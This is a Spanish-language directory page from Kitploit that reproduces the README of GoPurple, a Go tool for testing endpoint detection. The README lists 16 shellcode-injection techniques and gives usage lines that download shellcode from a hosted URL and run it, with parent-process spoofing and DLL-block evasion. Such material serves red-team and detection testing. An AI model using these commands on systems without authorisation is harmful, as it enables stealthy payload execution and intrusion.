Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/sh4hin/gopurple
Herramientas DefensivasGeneración de PayloadsExplotaciónEvasión de IDS/IPSShellcodePruebas de PenetraciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads
GitHubsh4hin/gopurple

GoPurple

Otro ejecutor de shellcode más que consiste en diferentes técnicas para evaluar las capacidades de detección de las soluciones de seguridad de endpoints.

4967111hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir

GoPurple

Este proyecto es una simple colección de diversas técnicas de inyección de shellcode, con el objetivo de agilizar el proceso de evaluación de detección en endpoints, además de desafiarme a mí mismo a adentrarme en el mundo de Golang.

Instalación

1 - Requiere go instalado.

2 - Compila la aplicación desde el directorio del proyecto: go build. Establece GOOS=windows si el sistema de compilación no es Windows.

root@kitploit:~
  _____                              _
  / ____|                            | |
 | |  __  ___  _ __  _   _ _ __ _ __ | | ___
 | | |_ |/ _ \| '_ \| | | | '__| '_ \| |/ _ \
 | |__| | (_) | |_) | |_| | |  | |_) | |  __/
  \_____|\___/| .__/ \__,_|_|  | .__/|_|\___|
              | |              | |
              |_|              |_|   by @s3cdev

 -a string
        Argumentos de línea de comandos del programa
  -b string
        modo de bloqueo de DLL (nonms/onlystore para QueueUserAPC)
  -p int
        ID del proceso en el que inyectar shellcode
  -prog string
        programa en el que inyectar
  -t string
        técnica de inyección de shellcode a utilizar:
         1: CreateFiber
         2: syscall
         3: CreateThreadNative
         4: CreateProcess
         5: EtwpCreateEtwThread
         6: CreateRemoteThread
         7: RtlCreateUserThread
         8: CreateThread
         9: CreateRemoteThreadNative
         10: CreateProcessWithPipe
         11: QueueUserAPC
         12: CreateThreadpoolWait
         13: BananaPhone
         14: EnumerateLoadedModules
         15: EnumChildWindows
         16: EnumPageFilesW
  -u string
        URL que aloja el shellcode

Ejemplos:

Es necesario generar un shellcode, esto se puede hacer usando herramientas como msfvenom o shad0w. Luego, el shellcode debe ser alojado para poder descargarlo y ejecutarlo de forma remota en la máquina remota. Para mayor claridad, los siguientes demos ilustran diferentes formas de usar la herramienta.

1 - Inyección de shellcode usando el método BananaPhone + Shad0w como generador de shellcode

2 - Inyección de shellcode usando la técnica QueueUserAPC + Shad0w como generador de shellcode + suplantación del ID del proceso padre (explorer como ID padre) + lanzamiento de proceso mediante un padre suplantado que contiene el shellcode (calc) + protección del proceso contra hooks de DLL no firmadas, de modo que solo las DLL firmadas por Microsoft puedan engancharse al proceso.

3 - Inyección de shellcode usando CreateFiber + msfvenom como generador de shellcode

Cómo usar:

root@kitploit:~
1 - gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)

2 - gopurple.exe -u urlhostingpayload -t 2 (Syscall)

3 - gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)

4 - gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)

5 - gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)

6 - gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)

7 - gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)

8 - gopurple.exe -u urlhostingpayload -t 8 (CreateThread)

9 - gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)

10 - gopurple.exe -u urlhostingpayload -t 10 -prog program -a processargument (ej: C:\Windows\System32\WindowsPowerShell\v1.0) y processargument (ej: Get-Process) (CreateProcessWithPipe)

11 - gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll (nonms o onlystore) (QueueUserAPC)

nonms = solo las DLL firmadas por Microsoft pueden engancharse al proceso

onlystore = solo los procesos de aplicaciones de la Tienda Microsoft pueden engancharse al proceso

12 - gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)

13 - gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)

14 - gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)

15 - gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)

16 - gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)

Agradecimientos:

Todo el crédito va para las siguientes personas por sus increíbles investigaciones, herramientas e inspiración:

  • ne0nd0g: La mayor parte de este proyecto ha sido tomada de go-shellcode

  • spotheplanet: El artículo me inspiró a convertir el método a Golang

  • _d00mfist: Gran implementación de la técnica QueueUserAPC en Golang

  • c__sto: Técnica BananaPhone

  • batsec: El gran shad0w

  • chiragsavla94: Inspirado de ProcessInjection

  • S4R1N: Por introducir las nuevas ejecuciones de código alternativas

Gracias a brimston3 por su apoyo y contribución

Referencias

(https://github.com/Ne0nd0g/go-shellcode)

(https://www.ired.team/)

(https://github.com/D00MFist/Go4aRun)

(https://github.com/BishopFox/sliver)

(https://posts.specterops.io/going-4-a-run-eb263838b944)

(https://github.com/C-Sto/BananaPhone)

(https://blog.xpnsec.com/protecting-your-malware)

(https://github.com/3xpl01tc0d3r/ProcessInjection)

(https://github.com/S4R1N/AlternativeShellcodeExec)

Planes futuros

  • Añadir más técnicas
  • Código más estructurado

Registro de cambios

[1.0.3] - 2021-03-28

Añadido

  • Técnica EnumPageFilesW

[1.0.2] - 2021-03-25

Añadido

  • Técnica EnumChildWindows

[1.0.0] - 2021-03-22

Añadido

  • Técnica EnumerateLoadedModules

Descargo de responsabilidad legal

Este proyecto está hecho únicamente con fines educativos y de pruebas éticas. El uso de GoPurple para atacar objetivos sin el consentimiento mutuo previo es ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. El desarrollador no asume ninguna responsabilidad y no es responsable de ningún uso indebido o daño causado por este programa.

Descargar herramienta